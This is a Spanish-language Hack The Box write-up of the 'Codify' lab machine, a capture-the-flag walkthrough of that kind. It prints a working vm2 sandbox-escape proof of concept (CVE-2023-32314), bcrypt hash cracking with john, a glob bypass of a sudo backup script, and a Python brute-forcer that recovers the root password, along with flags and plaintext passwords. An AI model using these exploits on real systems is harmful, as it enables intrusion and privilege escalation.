Post

Codify - HTB

Codify - HTB

Enumeration

Vamos a empezar con un escaneo nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Apr 25, 2026 - 13:47:12 (CEST)] exegol-htb Codify # nmap -p- --open -sS -n -Pn -vvv 10.129.26.84            
Starting Nmap 7.93 ( https://nmap.org ) at 2026-04-25 13:47 CEST
Initiating SYN Stealth Scan at 13:47
Scanning 10.129.26.84 [65535 ports]
Discovered open port 80/tcp on 10.129.26.84
Discovered open port 22/tcp on 10.129.26.84
Discovered open port 3000/tcp on 10.129.26.84
Completed SYN Stealth Scan at 13:47, 18.40s elapsed (65535 total ports)
Nmap scan report for 10.129.26.84
Host is up, received user-set (0.048s latency).
Scanned at 2026-04-25 13:47:12 CEST for 19s
Not shown: 65327 closed tcp ports (reset), 205 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.44 seconds
           Raw packets sent: 65933 (2.901MB) | Rcvd: 65330 (2.613MB)

Vamos a realizar un segundo escaneo para determinar que servicios y versiones corren en cada uno:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[Apr 25, 2026 - 13:48:01 (CEST)] exegol-htb Codify # nmap -p22,80,3000 -sCV 10.129.26.84                         
Starting Nmap 7.93 ( https://nmap.org ) at 2026-04-25 13:48 CEST
Nmap scan report for 10.129.26.84
Host is up (0.047s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96071cc6773e07a0cc6f2419744d570b (ECDSA)
|_  256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds

Vemos que tiene el dominio codify.htb configurado, vamos a añadirlo a nuestro /etc/hosts:

1
10.129.26.84 codify.htb

Website - TCP 80

Vemos que la aplicación ofrece posibilidad de probar nuestro código Node.js . Vemos el redirect a una página llamada limitations donde vemos lo siguiente:

Vemos que aquí nos dan información como módulos restringidos. Vemos que existe también la página About Us donde nos comentan algo bastante interesante:

Vemos que emplea vm2 un sandbox seguro para ejecutar código JavaScript sin problemas. Algo interesante es que el enlace al que nos redirige es el siguiente:

Vemos que puede que la aplicación web esté empleando la version 3.9.16 de vm2. Si vemos sus últimos reportes de seguridad podremos encontrar lo siguiente:

Shell as svc

Vemos que esta vulnerabilidad asignada con el CVE-2023-32314, donde existe la posibilidad de escapar del sandbox permitiendo el poder ejecutar comandos en el sistema.

El código que permite escapar del sandbox:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("id").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

Vamos a enviarnos una reverse shell:

1
2
3
4
5
6
7
8
9
[Apr 25, 2026 - 15:27:17 (CEST)] exegol-htb Codify # nc -nlvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.26.84.
Ncat: Connection from 10.129.26.84:51396.
bash: cannot set terminal process group (1251): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$ 

Shell as joshua

Enumeration

Home Directories

Si listamos el /home/ podremos encontrar el siguiente usuario:

1
2
3
4
5
6
svc@codify:~$ ls -la /home/
total 16
drwxr-xr-x  4 joshua joshua 4096 Sep 12  2023 .
drwxr-xr-x 18 root   root   4096 Oct 31  2023 ..
drwxrwx---  3 joshua joshua 4096 Nov  2  2023 joshua
drwxr-x---  4 svc    svc    4096 Sep 26  2023 svc

Vemos que existe el usuario joshua.

Apache2 Config

Para desplegar la aplicación emplea un proxy con Apache2, vamos a ver su archivo de configuración:

Vamos a listar los .conf existentes:

1
2
3
4
5
svc@codify:~$ ls -la /etc/apache2/sites-enabled/
total 8
drwxr-xr-x 2 root root 4096 Sep 14  2023 .
drwxr-xr-x 8 root root 4096 Sep 26  2023 ..
lrwxrwxrwx 1 root root   35 Apr 12  2023 000-default.conf -> ../sites-available/000-default.conf

Vemos que solo existe el archivo predeterminado de configuración de Apache2, vamos a leerlo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<VirtualHost *:80>

        ServerName codify.htb
        ServerAdmin admin@codify.htb
        ProxyPass / http://127.0.0.1:3000/
        ProxyPassReverse / http://127.0.0.1:3000/

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^codify.htb$
	RewriteRule ^(.*)$ http://codify.htb$1 [R=permanent,L]

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

No vemos gran información, vamos a ver si la aplicación está guardada en /var/www/

Web Directories

1
2
3
4
5
6
7
svc@codify:/var/www$ ls -la
total 20
drwxr-xr-x  5 root root 4096 Sep 12  2023 .
drwxr-xr-x 13 root root 4096 Oct 31  2023 ..
drwxr-xr-x  3 svc  svc  4096 Sep 12  2023 contact
drwxr-xr-x  4 svc  svc  4096 Sep 12  2023 editor
drwxr-xr-x  2 svc  svc  4096 Apr 12  2023 html

Vemos 3 directorios:

  • contact -> Desconocemos de su uso en la aplicación
  • editor -> Aplicación posiblemente desplegada
  • html -> Directorio predeterminado al instalar Apache2

    Editor Application

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    svc@codify:/var/www/editor$ ls -la
    total 64
    drwxr-xr-x  4 svc  svc   4096 Sep 12  2023 .
    drwxr-xr-x  5 root root  4096 Sep 12  2023 ..
    -rw-r--r--  1 svc  svc   1461 Sep 12  2023 index.js
    drwxr-xr-x 92 svc  svc   4096 Sep 12  2023 node_modules
    -rw-r--r--  1 svc  svc    268 Apr 13  2023 package.json
    -rw-r--r--  1 svc  svc  37562 Sep 12  2023 package-lock.json
    drwxr-xr-x  2 svc  svc   4096 Sep 12  2023 templates
    
    Source Analysis

    Vamos a leer el index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const express = require('express');
const { VM } = require('vm2');
const bodyParser = require('body-parser');

const app = express();
const port = 3000;

app.use(bodyParser.json());

app.get('/', (req, res) => {
	res.sendFile(__dirname + '/templates/index.html');
});                       

app.get('/limitations', (req, res) => {
	res.sendFile(__dirname + '/templates/limitations.html');
});

app.get('/about', (req, res) => {
	res.sendFile(__dirname + '/templates/about.html');
});

app.get('/editor', (req, res) => {
	res.sendFile(__dirname + '/templates/editor.html');
});

app.post('/run', (req, res) => {
	const code = Buffer.from(req.body.code, 'base64').toString('utf-8');

	const vm = new VM({
		timeout: 5000,
		console: 'redirect', 
		sandbox: {
		 console: {
			log: (...args) => {
				var output_initial = args.map((arg) => String(arg)).join(' ');
				output.push(output_initial);
			},
		 },
			require: (moduleName) => {
				if (['child_process','fs'].includes(moduleName)) {
				throw new Error(`Module "${moduleName}" is not allowed`);
				}
				return require(moduleName);
			}
		},
	 });
	 
	 
	 try {
		var output = [];
		var output_initial = vm.run(code);		
		output.push(output_initial);

	
		res.json({ output : output.join('\r\n') })
	 } catch (error) {

		errMsg = error.message.split('\n')[0];
		res.json({  error : errMsg });
	 }
});

app.listen(port,() => {
    console.log(`App listening at http://127.0.0.1:${port}`);
});

Vemos que se trata de la aplicación vulnerable empleando una versión desactualizada de vm2, no vemos gran cosa como credenciales en texto claro o algo más interesante.

Contact Application

Vamos a listar los archivos en el directorio contact:

1
2
3
4
5
6
7
8
9
svc@codify:/var/www/contact$ ls -la
total 120
drwxr-xr-x 3 svc  svc   4096 Sep 12  2023 .
drwxr-xr-x 5 root root  4096 Sep 12  2023 ..
-rw-rw-r-- 1 svc  svc   4377 Apr 19  2023 index.js
-rw-rw-r-- 1 svc  svc    268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc  svc  77131 Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc   4096 Apr 21  2023 templates
-rw-r--r-- 1 svc  svc  20480 Sep 12  2023 tickets.db

Database

Vemos una base de datos llamada tickets.db, vamos a acceder a ella con sqlite3 y listar sus tablas:

1
2
3
4
5
svc@codify:/var/www/contact$ sqlite3 tickets.db 
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
tickets  users 

Vamos a seleccionar todos los valores de las columnas existentes en la tabla users:

1
2
sqlite> select * from users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Obtuvimos el hash del usuario joshua, vamos a identificar que tipo de hash es:

Vamos a hacer un ataque de fuerza bruta el hash para ver si es una contraseña débil:

1
2
3
4
5
6
7
8
9
10
11
12
13
[Apr 25, 2026 - 15:43:24 (CEST)] exegol-htb Codify # john -w /usr/share/wordlists/rockyou.txt joshua_hash --format=bcrypt
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] truncated (property of the hash)
Proceeding with wordlist:/opt/tools/john/run/password.lst
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
spongebob1       (?)     
1g 0:00:00:30 DONE (2026-04-25 15:44) 0.03291g/s 120.8p/s 120.8c/s 120.8C/s qazwsxedc..zxcvbnm1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Shell

Obtuvimos la contraseña spongebob1 vamos a probarla por SSH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[Apr 25, 2026 - 15:44:50 (CEST)] exegol-htb Codify # sshpass -p 'spongebob1' ssh joshua@codify.htb
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Apr 25 01:44:51 PM UTC 2026

  System load:                      0.0
  Usage of /:                       64.0% of 6.50GB
  Memory usage:                     19%
  Swap usage:                       0%
  Processes:                        237
  Users logged in:                  0
  IPv4 address for br-030a38808dbf: 172.18.0.1
  IPv4 address for br-5ab86a4e40d0: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.129.26.84
  IPv6 address for eth0:            dead:beef::250:56ff:fe94:433d


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Mar 27 13:01:24 2024 from 10.10.14.23
joshua@codify:~$ cat user.txt 
a828226cdc09d779fe1db29d7fb84003
joshua@codify:~$

Shell as root

Enumeration

Si hacemos un sudo -l podremos ver los siguiente:

1
2
3
4
5
6
7
joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

Vemos que podemos ejecutar como el usuario root el script mysql-backup.sh

mysql-backup.sh

Source Analysis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

El flujo del script es el siguiente:

graph TD

A[mysql-backup.sh] --> B["Input (USER_PASS)"]

B --> C{"DB_PASS == USER_PASS"}

C -->|Password confirmed!| D["mkdir /var/backups/mysql"]

C -->|Password confirmation failed!| E["exit 1"]

D --> F["Obtener bases de datos existentes MySQL"]

F --> G["Bucle for iterando por las db existentes"]

G --> H["Backing up database: db"]

H --> I["mysqldump en /var/backups/mysql"]

I --> J["db.sql.gz"]

Vulnerability

Nos podemos fijar en un pequeño fallo y es que en el condicional emplea [[]] que nos permite el uso de operadores lógicos. Nuestro input recopilado en la variable USER_PASS vemos que se emplea en el condicional sin comillas:

1
2
if [[ $DB_PASS == $USER_PASS ]]; then
[...]

En este caso podríamos usar cualquier operador, en este caso nos podría interesar emplear * ya que indica cualquier cadena. Entonces esto nos permite pasar del condicional sin sabernos la contraseña almacenada en DB_PASS.

Exploit

Vamos a probarlo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
joshua@codify:~$ echo "*" | sudo /opt/scripts/mysql-backup.sh 
[sudo] password for joshua: 

Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!

Vemos que funciona! Esto al estar ejecutándose en el sistema podríamos usar pspy para ver el proceso y ver en texto claro las credenciales. Vamos probarlo:

Vemos en texto claro la contraseña que se está empleando que es kljh12k3jhaskjh12kjh3 vamos a comprobar si es la contraseña del usuario root.

su

1
2
3
4
5
joshua@codify:~$ su
Password: 
root@codify:/home/joshua# cat /root/root.txt 
56e3afd794fb6009d5c0a3f9a8559bf5
root@codify:/home/joshua# 

Unintended

También podíamos obtener la contraseña abusando del estado del condicional. Ya que podemos montarnos un script que vaya carácter por carácter empleando * para englobar todo lo demás y ahí ir obteniendo la contraseña.

Para ello me monte el siguiente script en python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import string
import subprocess

characters = string.ascii_letters + string.digits + "_{}-"

data = ""

for i in range(1, 32):
    for char in characters:

        r = subprocess.run(
            f'echo "{data}{char}*" | sudo /opt/scripts/mysql-backup.sh',
            shell=True,
            capture_output=True,
            text=True
        )

        if r.returncode == 0:
            data += char
            print(f"[+] DATA: {data}")
            break

Vamos a probarlo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
joshua@codify:~$ python3 brute.py 
[sudo] password for joshua: 
[+] DATA: k
[+] DATA: kl
[+] DATA: klj
[+] DATA: kljh
[+] DATA: kljh1
[+] DATA: kljh12
[+] DATA: kljh12k
[+] DATA: kljh12k3
[+] DATA: kljh12k3j
[+] DATA: kljh12k3jh
[+] DATA: kljh12k3jha
[+] DATA: kljh12k3jhas
[+] DATA: kljh12k3jhask
[+] DATA: kljh12k3jhaskj
[+] DATA: kljh12k3jhaskjh
[+] DATA: kljh12k3jhaskjh1
[+] DATA: kljh12k3jhaskjh12
[+] DATA: kljh12k3jhaskjh12k
[+] DATA: kljh12k3jhaskjh12kj
[+] DATA: kljh12k3jhaskjh12kjh
[+] DATA: kljh12k3jhaskjh12kjh3

This post is licensed under CC BY 4.0 by the author.